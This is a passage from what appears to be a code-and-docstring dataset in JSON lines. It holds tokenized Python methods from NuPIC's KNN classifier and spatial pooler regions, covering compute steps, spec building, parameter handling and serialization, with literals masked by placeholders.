[tuple(inference[:nout])]<EOL><DEDENT>for category in categories:<EOL><INDENT>if category >= <NUM_LIT:0>:<EOL><INDENT>dims = max(int(category)+<NUM_LIT:1>, len(inference))<EOL>oldDims = len(self.confusion)<EOL>if oldDims < dims:<EOL><INDENT>confusion = numpy.zeros((dims, dims))<EOL>confusion[<NUM_LIT:0>:oldDims, <NUM_LIT:0>:oldDims] = self.confusion<EOL>self.confusion = confusion<EOL><DEDENT>self.confusion[inference.argmax(), int(category)] += <NUM_LIT:1><EOL><DEDENT><DEDENT>if nPrototypes > <NUM_LIT:1>:<EOL><INDENT>bestPrototypeIndicesOut.fill(<NUM_LIT:0>)<EOL>if categoryDistances is not None:<EOL><INDENT>indices = categoryDistances.argsort()<EOL>nout = min(len(indices), nPrototypes)<EOL>bestPrototypeIndicesOut[<NUM_LIT:0>:nout] = indices[<NUM_LIT:0>:nout]<EOL><DEDENT><DEDENT>elif nPrototypes == <NUM_LIT:1>:<EOL><INDENT>if (categoryDistances is not None) and len(categoryDistances):<EOL><INDENT>bestPrototypeIndicesOut[<NUM_LIT:0>] = categoryDistances.argmin()<EOL><DEDENT>else:<EOL><INDENT>bestPrototypeIndicesOut[<NUM_LIT:0>] = <NUM_LIT:0><EOL><DEDENT><DEDENT>self.handleLogOutput(inference)<EOL><DEDENT>if self.learningMode:<EOL><INDENT>if (self.acceptanceProbability < <NUM_LIT:1.0>) and(self._rgen.getReal64() > self.acceptanceProbability):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>for category in categories:<EOL><INDENT>if category >= <NUM_LIT:0>:<EOL><INDENT>if self._doSphering:<EOL><INDENT>self._storeSample(inputVector, category, partition)<EOL><DEDENT>else:<EOL><INDENT>self._knn.learn(inputVector, category, partition)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>self._epoch += <NUM_LIT:1><EOL>", "docstring": "Process one input sample. This method is called by the runtime engine.\n\n.. note:: the number of input categories may vary, but the array size is \n   fixed to the max number of categories allowed (by a lower region), so \n   \"unused\" indices of the input category array are filled with -1s.\n\nTODO: confusion matrix does not support multi-label classification\n\n:param inputs: (dict) mapping region input names to numpy.array values\n:param outputs: (dict) mapping region output names to numpy.arrays that \n       should be populated with output values by this method", "id": "f17620:c0:m22"}
{"signature": "def getCategoryList(self):", "body": "return self._knn._categoryList<EOL>", "docstring": "Public API for returning the category list. This is a required API of the \nNearestNeighbor inspector.\n\n:returns: (list) which has one entry per stored prototype. The value of the \n          entry is the category # of that stored prototype.", "id": "f17620:c0:m23"}
{"signature": "def removeCategory(self, categoryToRemove):", "body": "return self._knn.removeCategory(categoryToRemove)<EOL>", "docstring": "Removes a category.\n\n:param categoryToRemove: (string) label to remove", "id": "f17620:c0:m24"}
{"signature": "def getAllDistances(self):", "body": "if self._protoScores is None:<EOL><INDENT>return None<EOL><DEDENT>return self._protoScores[:self._protoScoreCount, :]<EOL>", "docstring": "Like :meth:`~nupic.regions.knn_classifier_region.KNNClassifierRegion.getLatestDistances`, \nbut returns all the scores if more than one  set is available. \n:meth:`~nupic.regions.knn_classifier_region.KNNClassifierRegion.getLatestDistances` \nwill always just return one set of scores.\n\n:returns: (list) all the prototype distances from all computes available.", "id": "f17620:c0:m26"}
{"signature": "def _finishLearning(self):", "body": "if self._doSphering:<EOL><INDENT>self._finishSphering()<EOL><DEDENT>self._knn.finishLearning()<EOL>self._accuracy = None<EOL>", "docstring": "Does nothing. Kept here for API compatibility", "id": "f17620:c0:m28"}
{"signature": "def _finishSphering(self):", "body": "<EOL>self._normOffset = self._samples.mean(axis=<NUM_LIT:0>) * -<NUM_LIT:1.0><EOL>self._samples += self._normOffset<EOL>variance = self._samples.var(axis=<NUM_LIT:0>)<EOL>variance[numpy.where(variance == <NUM_LIT:0.0>)] = <NUM_LIT:1.0><EOL>self._normScale  = <NUM_LIT:1.0> / numpy.sqrt(variance)<EOL>self._samples *= self._normScale<EOL>for sampleIndex in range(len(self._labels)):<EOL><INDENT>self._knn.learn(self._samples[sampleIndex],<EOL>self._labels[sampleIndex],<EOL>self._partitions[sampleIndex])<EOL><DEDENT>", "docstring": "Compute normalization constants for each feature dimension\nbased on the collected training samples.  Then normalize our\ntraining samples using these constants (so that each input\ndimension has mean and variance of zero and one, respectively.)\nThen feed these \"sphered\" training samples into the underlying\nSVM model.", "id": "f17620:c0:m29"}
{"signature": "def getOutputElementCount(self, name):", "body": "if name == '<STR_LIT>':<EOL><INDENT>return self.maxCategoryCount<EOL><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>return self.maxCategoryCount<EOL><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>return self._bestPrototypeIndexCount if self._bestPrototypeIndexCount else <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' + name)<EOL><DEDENT>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.getOutputElementCount`.", "id": "f17620:c0:m31"}
{"signature": "def invariant(self):", "body": "<EOL>assert isinstance(self.description, str)<EOL>assert isinstance(self.singleNodeOnly, bool)<EOL>assert isinstance(self.inputs, dict)<EOL>assert isinstance(self.outputs, dict)<EOL>assert isinstance(self.parameters, dict)<EOL>assert isinstance(self.commands, dict)<EOL>hasDefaultInput = False<EOL>for k, v in self.inputs.items():<EOL><INDENT>assert isinstance(k, str)<EOL>assert isinstance(v, InputSpec)<EOL>v.invariant()<EOL>if v.isDefaultInput:<EOL><INDENT>assert not hasDefaultInput<EOL>hasDefaultInput = True<EOL><DEDENT><DEDENT>hasDefaultOutput = False<EOL>for k, v in self.outputs.items():<EOL><INDENT>assert isinstance(k, str)<EOL>assert isinstance(v, OutputSpec)<EOL>v.invariant()<EOL>if v.isDefaultOutput:<EOL><INDENT>assert not hasDefaultOutput<EOL>hasDefaultOutput = True<EOL><DEDENT><DEDENT>for k, v in self.parameters.items():<EOL><INDENT>assert isinstance(k, str)<EOL>assert isinstance(v, ParameterSpec)<EOL>v.invariant()<EOL><DEDENT>for k, v in self.commands.items():<EOL><INDENT>assert isinstance(k, str)<EOL>assert isinstance(v, CommandSpec)<EOL>v.invariant()<EOL><DEDENT>", "docstring": "Verify the validity of the node spec object\n\n        The type of each sub-object is verified and then\n        the validity of each node spec item is verified by calling\n        it invariant() method. It also makes sure that there is at most\n        one default input and one default output.", "id": "f17621:c4:m1"}
{"signature": "def toDict(self):", "body": "def items2dict(items):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>d = {}<EOL>for k, v in items.items():<EOL><INDENT>d[k] = v.__dict__<EOL><DEDENT>return d<EOL><DEDENT>self.invariant()<EOL>return dict(description=self.description,<EOL>singleNodeOnly=self.singleNodeOnly,<EOL>inputs=items2dict(self.inputs),<EOL>outputs=items2dict(self.outputs),<EOL>parameters=items2dict(self.parameters),<EOL>commands=items2dict(self.commands))<EOL>", "docstring": "Convert the information of the node spec to a plain dict of basic types\n\n        The description and singleNodeOnly attributes are placed directly in\n        the result dicts. The inputs, outputs, parameters and commands dicts\n        contain Spec item objects (InputSpec, OutputSpec, etc). Each such object\n        is converted also to a plain dict using the internal items2dict() function\n        (see bellow).", "id": "f17621:c4:m2"}
{"signature": "def getDefaultSPImp():", "body": "return '<STR_LIT>'<EOL>", "docstring": "Return the default spatial pooler implementation for this region.", "id": "f17623:m0"}
{"signature": "def getSPClass(spatialImp):", "body": "if spatialImp == '<STR_LIT>':<EOL><INDENT>return PYSpatialPooler<EOL><DEDENT>elif spatialImp == '<STR_LIT>':<EOL><INDENT>return CPPSpatialPooler<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (spatialImp))<EOL><DEDENT>", "docstring": "Return the class corresponding to the given spatialImp string", "id": "f17623:m1"}
{"signature": "def _buildArgs(f, self=None, kwargs={}):", "body": "<EOL>argTuples = getArgumentDescriptions(f)<EOL>argTuples = argTuples[<NUM_LIT:1>:]  <EOL>init = SPRegion.__init__<EOL>ourArgNames = [t[<NUM_LIT:0>] for t in getArgumentDescriptions(init)]<EOL>ourArgNames += [<EOL>'<STR_LIT>',<EOL>]<EOL>for argTuple in argTuples[:]:<EOL><INDENT>if argTuple[<NUM_LIT:0>] in ourArgNames:<EOL><INDENT>argTuples.remove(argTuple)<EOL><DEDENT><DEDENT>if self:<EOL><INDENT>for argTuple in argTuples:<EOL><INDENT>argName = argTuple[<NUM_LIT:0>]<EOL>if argName in kwargs:<EOL><INDENT>argValue = kwargs.pop(argName)<EOL><DEDENT>else:<EOL><INDENT>if len(argTuple) == <NUM_LIT:2>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % argName)<EOL><DEDENT>argValue = argTuple[<NUM_LIT:2>]<EOL><DEDENT>setattr(self, argName, argValue)<EOL><DEDENT><DEDENT>return argTuples<EOL>", "docstring": "Get the default arguments from the function and assign as instance vars.\n\nReturn a list of 3-tuples with (name, description, defaultValue) for each\n  argument to the function.\n\nAssigns all arguments to the function as instance variables of SPRegion.\nIf the argument was not provided, uses the default value.\n\nPops any values from kwargs that go to the function.", "id": "f17623:m2"}
{"signature": "def _getAdditionalSpecs(spatialImp, kwargs={}):", "body": "typeNames = {int: '<STR_LIT>', float: '<STR_LIT>', str: '<STR_LIT>', bool: '<STR_LIT:bool>', tuple: '<STR_LIT>'}<EOL>def getArgType(arg):<EOL><INDENT>t = typeNames.get(type(arg), '<STR_LIT>')<EOL>count = <NUM_LIT:0> if t == '<STR_LIT>' else <NUM_LIT:1><EOL>if t == '<STR_LIT>':<EOL><INDENT>t = typeNames.get(type(arg[<NUM_LIT:0>]), '<STR_LIT>')<EOL>count = len(arg)<EOL><DEDENT>if t == '<STR_LIT:bool>':<EOL><INDENT>t = '<STR_LIT>'<EOL><DEDENT>return (t, count)<EOL><DEDENT>def getConstraints(arg):<EOL><INDENT>t = typeNames.get(type(arg), '<STR_LIT>')<EOL>if t == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif t == '<STR_LIT:bool>':<EOL><INDENT>return '<STR_LIT:bool>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>SpatialClass = getSPClass(spatialImp)<EOL>sArgTuples = _buildArgs(SpatialClass.__init__)<EOL>spatialSpec = {}<EOL>for argTuple in sArgTuples:<EOL><INDENT>d = dict(<EOL>description=argTuple[<NUM_LIT:1>],<EOL>accessMode='<STR_LIT>',<EOL>dataType=getArgType(argTuple[<NUM_LIT:2>])[<NUM_LIT:0>],<EOL>count=getArgType(argTuple[<NUM_LIT:2>])[<NUM_LIT:1>],<EOL>constraints=getConstraints(argTuple[<NUM_LIT:2>]))<EOL>spatialSpec[argTuple[<NUM_LIT:0>]] = d<EOL><DEDENT>spatialSpec.update(dict(<EOL>columnCount=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>'),<EOL>inputWidth=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>'),<EOL>spInputNonZeros=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>spOutputNonZeros=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>spOverlapDistribution=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>sparseCoincidenceMatrix=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>denseOutput=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>spLearningStatsStr=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>spatialImp=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>))<EOL>otherSpec = dict(<EOL>learningMode=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>'),<EOL>inferenceMode=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>'),<EOL>anomalyMode=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>'),<EOL>topDownMode=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>'),<EOL>activeOutputCount=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>'),<EOL>logPathInput=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>logPathOutput=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>logPathOutputDense=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>)<EOL>return spatialSpec, otherSpec<EOL>", "docstring": "Build the additional specs in three groups (for the inspector)\n\n    Use the type of the default argument to set the Spec type, defaulting\n    to 'Byte' for None and complex types\n\n    Determines the spatial parameters based on the selected implementation.\n    It defaults to SpatialPooler.", "id": "f17623:m3"}
{"signature": "def _initializeEphemeralMembers(self):", "body": "for attrName in self._getEphemeralMembersBase():<EOL><INDENT>if attrName != \"<STR_LIT>\":<EOL><INDENT>if hasattr(self, attrName):<EOL><INDENT>if self._loaded:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>print(self.__class__.__name__, \"<STR_LIT>\" %attrName)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if not self._loaded:<EOL><INDENT>for attrName in self._getEphemeralMembersBase():<EOL><INDENT>if attrName != \"<STR_LIT>\":<EOL><INDENT>assert not hasattr(self, attrName)<EOL><DEDENT>else:<EOL><INDENT>assert hasattr(self, attrName)<EOL><DEDENT><DEDENT><DEDENT>self._profileObj = None<EOL>self._iterations = <NUM_LIT:0><EOL>self._initEphemerals()<EOL>self._checkEphemeralMembers()<EOL>", "docstring": "Initialize all ephemeral data members, and give the derived class the\nopportunity to do the same by invoking the virtual member _initEphemerals(),\nwhich is intended to be overridden.\n\nNOTE: this is used by both __init__ and __setstate__ code paths.", "id": "f17623:c0:m1"}
{"signature": "def initialize(self):", "body": "<EOL>self._spatialPoolerOutput = numpy.zeros(self.columnCount,<EOL>dtype=GetNTAReal())<EOL>self._spatialPoolerInput = numpy.zeros((<NUM_LIT:1>, self.inputWidth),<EOL>dtype=GetNTAReal())<EOL>self._allocateSpatialFDR(None)<EOL>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.initialize`.", "id": "f17623:c0:m2"}
{"signature": "def _allocateSpatialFDR(self, rfInput):", "body": "if self._sfdr:<EOL><INDENT>return<EOL><DEDENT>autoArgs = dict((name, getattr(self, name))<EOL>for name in self._spatialArgNames)<EOL>if ( (self.SpatialClass == CPPSpatialPooler) or<EOL>(self.SpatialClass == PYSpatialPooler) ):<EOL><INDENT>autoArgs['<STR_LIT>'] = [self.columnCount]<EOL>autoArgs['<STR_LIT>'] = [self.inputWidth]<EOL>autoArgs['<STR_LIT>'] = self.inputWidth<EOL>self._sfdr = self.SpatialClass(<EOL>**autoArgs<EOL>)<EOL><DEDENT>", "docstring": "Allocate the spatial pooler instance.", "id": "f17623:c0:m3"}
{"signature": "def compute(self, inputs, outputs):", "body": "<EOL>if False and self.learningModeand self._iterations > <NUM_LIT:0> and self._iterations <= <NUM_LIT:10>:<EOL><INDENT>import hotshot<EOL>if self._iterations == <NUM_LIT:10>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>stats = hotshot.stats.load(\"<STR_LIT>\")<EOL>stats.strip_dirs()<EOL>stats.sort_stats('<STR_LIT:time>', '<STR_LIT>')<EOL>stats.print_stats()<EOL><DEDENT>if self._profileObj is None:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>if os.path.exists('<STR_LIT>'):<EOL><INDENT>os.remove('<STR_LIT>')<EOL><DEDENT>self._profileObj = hotshot.Profile(\"<STR_LIT>\", <NUM_LIT:1>, <NUM_LIT:1>)<EOL><DEDENT>self._profileObj.runcall(self._compute, *[inputs, outputs])<EOL><DEDENT>else:<EOL><INDENT>self._compute(inputs, outputs)<EOL><DEDENT>", "docstring": "Run one iteration, profiling it if requested.\n\n:param inputs: (dict) mapping region input names to numpy.array values\n:param outputs: (dict) mapping region output names to numpy.arrays that \n       should be populated with output values by this method", "id": "f17623:c0:m4"}
{"signature": "def _compute(self, inputs, outputs):", "body": "<EOL>if self._sfdr is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if not self.topDownMode:<EOL><INDENT>self._iterations += <NUM_LIT:1><EOL>buInputVector = inputs['<STR_LIT>']<EOL>resetSignal = False<EOL>if '<STR_LIT>' in inputs:<EOL><INDENT>assert len(inputs['<STR_LIT>']) == <NUM_LIT:1><EOL>resetSignal = inputs['<STR_LIT>'][<NUM_LIT:0>] != <NUM_LIT:0><EOL><DEDENT>rfOutput = self._doBottomUpCompute(<EOL>rfInput = buInputVector.reshape((<NUM_LIT:1>,buInputVector.size)),<EOL>resetSignal = resetSignal<EOL>)<EOL>outputs['<STR_LIT>'][:] = rfOutput.flat<EOL><DEDENT>else:<EOL><INDENT>topDownIn = inputs.get('<STR_LIT>',None)<EOL>spatialTopDownOut, temporalTopDownOut = self._doTopDownInfer(topDownIn)<EOL>outputs['<STR_LIT>'][:] = spatialTopDownOut<EOL>if temporalTopDownOut is not None:<EOL><INDENT>outputs['<STR_LIT>'][:] = temporalTopDownOut<EOL><DEDENT><DEDENT>outputs['<STR_LIT>'][:] = <NUM_LIT:0><EOL>", "docstring": "Run one iteration of SPRegion's compute", "id": "f17623:c0:m5"}
{"signature": "def _doBottomUpCompute(self, rfInput, resetSignal):", "body": "<EOL>self._conditionalBreak()<EOL>self._spatialPoolerInput = rfInput.reshape(-<NUM_LIT:1>)<EOL>assert(rfInput.shape[<NUM_LIT:0>] == <NUM_LIT:1>)<EOL>inputVector = numpy.array(rfInput[<NUM_LIT:0>]).astype('<STR_LIT>')<EOL>outputVector = numpy.zeros(self._sfdr.getNumColumns()).astype('<STR_LIT>')<EOL>self._sfdr.compute(inputVector, self.learningMode, outputVector)<EOL>self._spatialPoolerOutput[:] = outputVector[:]<EOL>if self._fpLogSP:<EOL><INDENT>output = self._spatialPoolerOutput.reshape(-<NUM_LIT:1>)<EOL>outputNZ = output.nonzero()[<NUM_LIT:0>]<EOL>outStr = \"<STR_LIT:U+0020>\".join([\"<STR_LIT>\" % int(token) for token in outputNZ])<EOL>print(output.size, outStr, file=self._fpLogSP)<EOL><DEDENT>if self._fpLogSPInput:<EOL><INDENT>output = rfInput.reshape(-<NUM_LIT:1>)<EOL>outputNZ = output.nonzero()[<NUM_LIT:0>]<EOL>outStr = \"<STR_LIT:U+0020>\".join([\"<STR_LIT>\" % int(token) for token in outputNZ])<EOL>print(output.size, outStr, file=self._fpLogSPInput)<EOL><DEDENT>return self._spatialPoolerOutput<EOL>", "docstring": "Do one iteration of inference and/or learning and return the result\n\nParameters:\n--------------------------------------------\nrfInput:      Input vector. Shape is: (1, inputVectorLen).\nresetSignal:  True if reset is asserted", "id": "f17623:c0:m6"}
{"signature": "def _doTopDownInfer(self, topDownInput = None):", "body": "return None, None<EOL>", "docstring": "Do one iteration of top-down inference.\n\nParameters:\n--------------------------------------------\ntdInput:      Top-down input\n\nretval:     (spatialTopDownOut, temporalTopDownOut)\n              spatialTopDownOut is the top down output computed only from the SP,\n                using it's current bottom-up output.\n              temporalTopDownOut is the top down output computed from the topDown in\n               of the level above us.", "id": "f17623:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def getBaseSpec(cls):<DEDENT>", "body": "spec = dict(<EOL>description=SPRegion.__doc__,<EOL>singleNodeOnly=True,<EOL>inputs=dict(<EOL>bottomUpIn=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=True,<EOL>regionLevel=False,<EOL>isDefaultInput=True,<EOL>requireSplitterMap=False),<EOL>resetIn=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>required=False,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>topDownIn=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required = False,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>sequenceIdIn=dict(<EOL>description=\"<STR_LIT>\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>required=False,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>),<EOL>outputs=dict(<EOL>bottomUpOut=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=True),<EOL>topDownOut=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False),<EOL>spatialTopDownOut = dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False),<EOL>temporalTopDownOut = dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False),<EOL>anomalyScore = dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False),<EOL>),<EOL>parameters=dict(<EOL>breakPdb=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>breakKomodo=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>),<EOL>)<EOL>return spec<EOL>", "docstring": "Doesn't include the spatial, temporal and other parameters\n\n:returns: (dict) The base Spec for SPRegion.", "id": "f17623:c0:m8"}
{"signature": "@classmethod<EOL><INDENT>def getSpec(cls):<DEDENT>", "body": "spec = cls.getBaseSpec()<EOL>s, o = _getAdditionalSpecs(spatialImp=getDefaultSPImp())<EOL>spec['<STR_LIT>'].update(s)<EOL>spec['<STR_LIT>'].update(o)<EOL>return spec<EOL>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.getSpec`.\n\nThe parameters collection is constructed based on the parameters specified\nby the various components (spatialSpec, temporalSpec and otherSpec)", "id": "f17623:c0:m9"}
{"signature": "def getAlgorithmInstance(self):", "body": "return self._sfdr<EOL>", "docstring": ":returns: (:class:`~nupic.algorithms.spatial_pooler.SpatialPooler`) instance \n          of the underlying algorithm object.", "id": "f17623:c0:m10"}
{"signature": "def getParameter(self, parameterName, index=-<NUM_LIT:1>):", "body": "if parameterName == '<STR_LIT>':<EOL><INDENT>return self.columnCount<EOL><DEDENT>elif parameterName == '<STR_LIT>':<EOL><INDENT>return list(self._spatialPoolerInput.reshape(-<NUM_LIT:1>))<EOL><DEDENT>elif parameterName == '<STR_LIT>':<EOL><INDENT>return list(self._spatialPoolerOutput)<EOL><DEDENT>elif parameterName == '<STR_LIT>':<EOL><INDENT>return len(self._spatialPoolerOutput.nonzero()[<NUM_LIT:0>])<EOL><DEDENT>elif parameterName == '<STR_LIT>':<EOL><INDENT>return [len(self._spatialPoolerOutput)] +list(self._spatialPoolerOutput.nonzero()[<NUM_LIT:0>])<EOL><DEDENT>elif parameterName == '<STR_LIT>':<EOL><INDENT>import pdb; pdb.set_trace()<EOL>return [len(self._spatialPoolerInput)] +list(self._spatialPoolerInput.nonzero()[<NUM_LIT:0>])<EOL><DEDENT>elif parameterName == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>return str(self._sfdr.getLearningStats())<EOL><DEDENT>except:<EOL><INDENT>return str(dict())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return PyRegion.getParameter(self, parameterName, index)<EOL><DEDENT>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.getParameter`.\n\nMost parameters are handled automatically by PyRegion's parameter get \nmechanism. The ones that need special treatment are explicitly handled here.", "id": "f17623:c0:m11"}
{"signature": "def setParameter(self, parameterName, index, parameterValue):", "body": "if parameterName in self._spatialArgNames:<EOL><INDENT>setattr(self._sfdr, parameterName, parameterValue)<EOL><DEDENT>elif parameterName == \"<STR_LIT>\":<EOL><INDENT>self.logPathInput = parameterValue<EOL>if self._fpLogSPInput:<EOL><INDENT>self._fpLogSPInput.close()<EOL>self._fpLogSPInput = None<EOL><DEDENT>if parameterValue:<EOL><INDENT>self._fpLogSPInput = open(self.logPathInput, '<STR_LIT:w>')<EOL><DEDENT><DEDENT>elif parameterName == \"<STR_LIT>\":<EOL><INDENT>self.logPathOutput = parameterValue<EOL>if self._fpLogSP:<EOL><INDENT>self._fpLogSP.close()<EOL>self._fpLogSP = None<EOL><DEDENT>if parameterValue:<EOL><INDENT>self._fpLogSP = open(self.logPathOutput, '<STR_LIT:w>')<EOL><DEDENT><DEDENT>elif parameterName == \"<STR_LIT>\":<EOL><INDENT>self.logPathOutputDense = parameterValue<EOL>if self._fpLogSPDense:<EOL><INDENT>self._fpLogSPDense.close()<EOL>self._fpLogSPDense = None<EOL><DEDENT>if parameterValue:<EOL><INDENT>self._fpLogSPDense = open(self.logPathOutputDense, '<STR_LIT:w>')<EOL><DEDENT><DEDENT>elif hasattr(self, parameterName):<EOL><INDENT>setattr(self, parameterName, parameterValue)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' + parameterName)<EOL><DEDENT>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.setParameter`.\n\nSet the value of a Spec parameter. Most parameters are handled\nautomatically by PyRegion's parameter set mechanism. The ones that need\nspecial treatment are explicitly handled here.", "id": "f17623:c0:m12"}
{"signature": "@staticmethod<EOL><INDENT>def getSchema():<DEDENT>", "body": "return SPRegionProto<EOL>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.getSchema`.", "id": "f17623:c0:m13"}
{"signature": "def writeToProto(self, proto):", "body": "proto.spatialImp = self.spatialImp<EOL>proto.columnCount = self.columnCount<EOL>proto.inputWidth = self.inputWidth<EOL>proto.learningMode = <NUM_LIT:1> if self.learningMode else <NUM_LIT:0><EOL>proto.inferenceMode = <NUM_LIT:1> if self.inferenceMode else <NUM_LIT:0><EOL>proto.anomalyMode = <NUM_LIT:1> if self.anomalyMode else <NUM_LIT:0><EOL>proto.topDownMode = <NUM_LIT:1> if self.topDownMode else <NUM_LIT:0><EOL>self._sfdr.write(proto.spatialPooler)<EOL>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.writeToProto`.\n\nWrite state to proto object.\n\n:param proto: SPRegionProto capnproto object", "id": "f17623:c0:m14"}
